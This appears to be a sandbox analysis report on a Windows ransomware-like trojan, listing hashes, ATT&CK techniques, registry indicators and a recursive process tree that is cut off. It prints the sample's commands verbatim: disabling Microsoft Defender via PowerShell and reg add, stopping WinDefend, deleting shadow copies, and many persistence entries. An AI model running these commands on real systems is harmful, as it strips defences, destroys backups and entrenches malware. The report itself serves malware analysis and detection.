68e43cb41e733b5e3a319e311cb27ee23003fdc6308225ed83a551e568bd5198

Analysis

max time kernel
4s
max time network
129s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/06/2026, 17:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
x_plfg.exe
Size 345KB
Sample260627-vlepcsby91
SHA256 68e43cb41e733b5e3a319e311cb27ee23003fdc6308225ed83a551e568bd5198
MD5 37de1c0c862d6429d885c9b10a4c7afb
SHA1 c173e9abb5c70e38e72f74e33524a127c28d0cfc
SHA512 8558b23ab12ad6a3ea3d0ad0588adc83b086e6fd1ae586f9f249d3684b1cc70370216546123315dbbb3d6df99e90441cfda957633283b9b48fde2ee6bcdb1c45
SSDEEP 6144:lv0k3oagSOrpigJ6EBzMQECf+1JwXMO9bbykUUmZyrUdjv:lvl4aErpigJ/MQEC/XMOBmbOI
TLSH
T160743A2BE7A348FCC597D13496E797B2A031BD8C03247D1E1694D7323F39A640FA9968
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution impact persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe\""	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,,\"C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe\""	x_plfg.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Adds policy Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SysSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 2 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{Net32Host64-lvrium}	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{Net32Host64-lvrium}\StubPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Boot or Logon Autostart Execution: Port Monitors 1 TTPs 2 IoCs

Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.

persistence

Port Monitors

T1547.010

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\MsMgr	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\MsMgr\Driver = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5848	powershell.exe

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinMonitor\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000\Environment\UserInitMprLogonScript = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Runtime64 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\LoaderHelper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000\Software\Microsoft\Windows\CurrentVersion\Run\LoaderTask = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\LoaderMonitor = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5848	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
7	api.ipify.org

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5292	sc.exe
4992	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
26600	msedge.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5732	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5848	powershell.exe
5848	powershell.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	5848	powershell.exe
Token: SeIncreaseQuotaPrivilege	5848	powershell.exe
Token: SeSecurityPrivilege	5848	powershell.exe
Token: SeTakeOwnershipPrivilege	5848	powershell.exe
Token: SeLoadDriverPrivilege	5848	powershell.exe
Token: SeSystemProfilePrivilege	5848	powershell.exe
Token: SeSystemtimePrivilege	5848	powershell.exe
Token: SeProfSingleProcessPrivilege	5848	powershell.exe
Token: SeIncBasePriorityPrivilege	5848	powershell.exe
Token: SeCreatePagefilePrivilege	5848	powershell.exe
Token: SeBackupPrivilege	5848	powershell.exe
Token: SeRestorePrivilege	5848	powershell.exe
Token: SeShutdownPrivilege	5848	powershell.exe
Token: SeDebugPrivilege	5848	powershell.exe
Token: SeSystemEnvironmentPrivilege	5848	powershell.exe
Token: SeRemoteShutdownPrivilege	5848	powershell.exe
Token: SeUndockPrivilege	5848	powershell.exe
Token: SeManageVolumePrivilege	5848	powershell.exe
Token: 33	5848	powershell.exe
Token: 34	5848	powershell.exe
Token: 35	5848	powershell.exe
Token: 36	5848	powershell.exe
Token: SeBackupPrivilege	2052	vssvc.exe
Token: SeRestorePrivilege	2052	vssvc.exe
Token: SeAuditPrivilege	2052	vssvc.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 2688 wrote to memory of 5760	2688	x_plfg.exe	89
PID 5760 wrote to memory of 5848	5760	cmd.exe	91
PID 2688 wrote to memory of 5992	2688	x_plfg.exe	93
PID 5992 wrote to memory of 5292	5992	cmd.exe	176
PID 2688 wrote to memory of 2716	2688	x_plfg.exe	96
PID 2716 wrote to memory of 4992	2716	cmd.exe	98
PID 2688 wrote to memory of 1708	2688	x_plfg.exe	99
PID 1708 wrote to memory of 5732	1708	cmd.exe	101
PID 2688 wrote to memory of 1544	2688	x_plfg.exe	104
PID 1544 wrote to memory of 1636	1544	cmd.exe	106
PID 1544 wrote to memory of 5452	1544	cmd.exe	107
PID 1544 wrote to memory of 3384	1544	cmd.exe	108
PID 1544 wrote to memory of 3268	1544	cmd.exe	109
PID 1544 wrote to memory of 4320	1544	cmd.exe	110
PID 1544 wrote to memory of 5500	1544	cmd.exe	111
PID 1544 wrote to memory of 884	1544	cmd.exe	112
PID 1544 wrote to memory of 2592	1544	cmd.exe	113
PID 2688 wrote to memory of 5824	2688	x_plfg.exe	114
PID 5824 wrote to memory of 1064	5824	cmd.exe	116
PID 1064 wrote to memory of 4632	1064	x_plfg.exe	117
PID 4632 wrote to memory of 4660	4632	cmd.exe	119
PID 4660 wrote to memory of 3884	4660	x_plfg.exe	120
PID 3884 wrote to memory of 260	3884	cmd.exe	122
PID 260 wrote to memory of 1016	260	x_plfg.exe	123
PID 1016 wrote to memory of 4956	1016	cmd.exe	125
PID 4956 wrote to memory of 4552	4956	x_plfg.exe	126
PID 4552 wrote to memory of 1332	4552	cmd.exe	128
PID 1332 wrote to memory of 3808	1332	x_plfg.exe	129
PID 3808 wrote to memory of 2628	3808	cmd.exe	131
PID 2628 wrote to memory of 3276	2628	x_plfg.exe	132
PID 3276 wrote to memory of 3572	3276	cmd.exe	134
PID 3572 wrote to memory of 3628	3572	x_plfg.exe	135
PID 3628 wrote to memory of 3408	3628	cmd.exe	137

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"
1⤵
- Modifies WinLogon for persistence
- Adds policy Run key to start application
- Boot or Logon Autostart Execution: Active Setup
- Boot or Logon Autostart Execution: Port Monitors
- Event Triggered Execution: Image File Execution Options Injection
- Sets service image path in registry
- Registers new Windows logon scripts automatically executed at logon.
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
    3⤵
    - Disables one or more Microsoft Defender components
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5992
- - C:\Windows\system32\sc.exe
    sc config WinDefend start=disabled
    3⤵
    - Launches sc.exe
    PID:5292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:4992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1544
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:1636
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5452
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3384
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3268
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4320
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
    3⤵
    PID:5500
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f
    3⤵
    PID:884
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
    3⤵
    PID:2592
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /F /SC ONLOGON /TN "Svc32" /TR "\"C:\Users\Admin\AppData\Roaming\Host64.exe\"" /RL HIGHEST
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5824
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1064
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4632
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4660
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3884
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:260
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1016
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:4956
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:4552
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        Suspicious use of WriteProcessMemory
        
        PID:1332
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        Suspicious use of WriteProcessMemory
        
        PID:3808
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        Suspicious use of WriteProcessMemory
        
        PID:2628
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        Suspicious use of WriteProcessMemory
        
        PID:3276
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        Suspicious use of WriteProcessMemory
        
        PID:3572
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        Suspicious use of WriteProcessMemory
        
        PID:3628
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:3408
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        
        PID:1844
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:1908
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        20⤵
        
        PID:3096
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:4420
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        22⤵
        
        PID:5528
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:5476
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        24⤵
        
        PID:6000
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:6132
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        26⤵
        
        PID:2796
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:4312
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        28⤵
        
        PID:3784
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:2160
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        30⤵
        
        PID:1920
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:1516
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        32⤵
        
        PID:3040
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:2080
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        34⤵
        
        PID:5356
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:5436
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        36⤵
        
        PID:1976
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:5320
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        38⤵
        
        PID:1892
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:3420
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        40⤵
        
        PID:3224
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:5680
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        42⤵
        
        PID:696
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:5292
        
        C:\Windows\System32\cmd.exe
        
